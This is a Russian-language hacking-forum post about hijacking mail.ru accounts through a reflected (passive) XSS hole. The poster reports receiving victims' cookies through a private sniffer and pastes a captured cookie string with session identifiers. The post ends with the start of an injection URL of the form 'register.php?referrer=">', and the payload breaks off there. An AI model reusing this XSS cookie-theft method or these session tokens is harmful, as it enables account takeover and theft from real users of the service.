Взлом mail.ru с помощью пассивной xss

28.01.2012, 01:00

MOV_EAX

Участник форума

Регистрация: 10.02.2010

Сообщений: 181

С нами: 8553206

Репутация: 5

Цитата:

Сообщение от tickhack

пока незнаю но уже думаю об этом.

молоток что нашел

а обойти тут нет труда
у меня приходят куки
снифер использовал свой приватный

code:

VID=209Pg10AjVWy; mrcu=FC724F225A1A30402A7D0100007F; p=EcMGAEp owAA; b=Bjw5BEAF5QAA8rMu8EbHAHB1gunYC2K2LhDmx2CCHgOCVwy TCw4C74AJHUCUjUMhOAxsGK9IFOtghQWC8iCJ0gpyACC8MLF3x l1oCbc7Z8QeQ3CP8QgxYsm9A2gcDcdxFXfGS3JJ1x2CLGLckhb thgJ90QEAABxF3/GvdgYfatBNLycsLguwruHCL8ZI2wNoJDiIEJPTRFxOUfsfBqRh 2jCITwQj/NBdKECUdp4Qj ECPtYIkzpGbE3gMKvuQjtPyccywEhvvwPKZ/ J5hsjTEA; t=obLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAQABBAIGAIAAAAAAAgAdAQgLtgcA; mid=62ad25d4; i=AQA98yNPAgACAAUCAQATAAgEARUAAQ==; mc1=1328280937; c=3/QjTwAAEBVpCAARAAgAHgAyAvcAAAAg; odklmapi=$$8SxEBds2OmrpriJjFY2wYhUEhlrqaWwOSsWt2CH Sy7SV=c; PHPSESSID=162802d913dd017b7aed594c9eae6836; __utma=103147462.1831527631.1327777722.1327777722. 1327777722.1; __utmb=103147462; __utmc=103147462; __utmz=103147462.1327777722.1.1.utmccn=(direct)|ut mcsr=(direct)|utmcmd=(none); __utma=1.1627511399.1327777729.1327777729.13277777 29.1; __utmb=1.4.10.1327777729; __utmc=1; __utmz=1.1327777729.1.1.utmcsr=(direct)|utmccn=(di rect)|utmcmd=(none); partner_session_day=28; partner_id=1_678_60738_0__

просто ставь таким образом скрипт

PHP highlight

Код:


	Код:
	http://наша_пасивка_адрес_где_поймали_хss/register.php?referrer=">